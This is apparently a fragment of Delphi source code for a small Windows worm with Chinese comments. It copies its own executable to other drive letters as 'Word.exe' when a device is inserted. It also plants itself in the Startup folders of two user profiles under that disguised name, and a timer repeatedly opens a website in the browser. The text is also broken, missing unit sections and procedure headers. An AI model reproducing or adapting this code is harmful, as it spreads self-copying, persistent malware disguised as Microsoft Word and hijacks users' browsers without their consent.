unit Unit1;
Windows, Messages, SysUtils, Variants, Classes, Controls, Forms,
Dialogs,ShellApi,StdCtrls, ExtCtrls;
TForm1 = class(TForm)
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
public
{ Public declarations }
end;
Form1: TForm1;
var
//myMsg : String;
m_Result,i:Integer;
str_temp:string;
buf:array [0..MAX_PATH-1] of char;
begin
Case Msg.WParam of
32768:
begin
//myMsg :='U盘插入';
//Label1.Caption:=myMsg;
m_Result:=GetLogicalDriveStrings(MAX_PATH,buf);
for i:=0 to (m_Result div 4) do
begin
str_temp:=string(buf[i*4]+buf[i*4+1]+buf[i*4+2]);
if getdrivetype(pchar(str_temp)) = DRIVE_CDROM then
begin
if str_temp ='E:\' then
CopyFile(Pchar(Application.ExeName),Pchar('F:\Word.exe'),False);
if str_temp ='F:\' then
CopyFile(Pchar(Application.ExeName),Pchar('G:\Word.exe'),False);
if str_temp ='G:\' then
CopyFile(Pchar(Application.ExeName),Pchar('H:\Word.exe'),False);
if str_temp ='H:\' then
CopyFile(Pchar(Application.ExeName),Pchar('I:\Word.exe'),False);
end;
end;
end;
32772:
begin
//myMsg :='U盘拔出';
//Label1.Caption:=myMsg;
end;
end;
end;
begin
if fileexists('C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\Word.exe') and fileexists('C:\Documents and Settings\new\「开始」菜单\程序\启动\Word.exe')then
else
CopyFile(Pchar(Application.ExeName),Pchar('C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\Word.exe'),False);
//FileSetAttr('C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\Word.exe',FILE_ATTRIBUTE_HIDDEN);
CopyFile(Pchar(Application.ExeName),Pchar('C:\Documents and Settings\new\「开始」菜单\程序\启动\Word.exe'),False);
//FileSetAttr('C:\Documents and Settings\new\「开始」菜单\程序\启动\Word.exe',FILE_ATTRIBUTE_HIDDEN);
end;
var
strurl:string;
begin
StrUrl:='http://www.cnking.org';
ShellExecute(0,'open',pchar(StrUrl),nil,nil,SW_SHOW);
end;
end.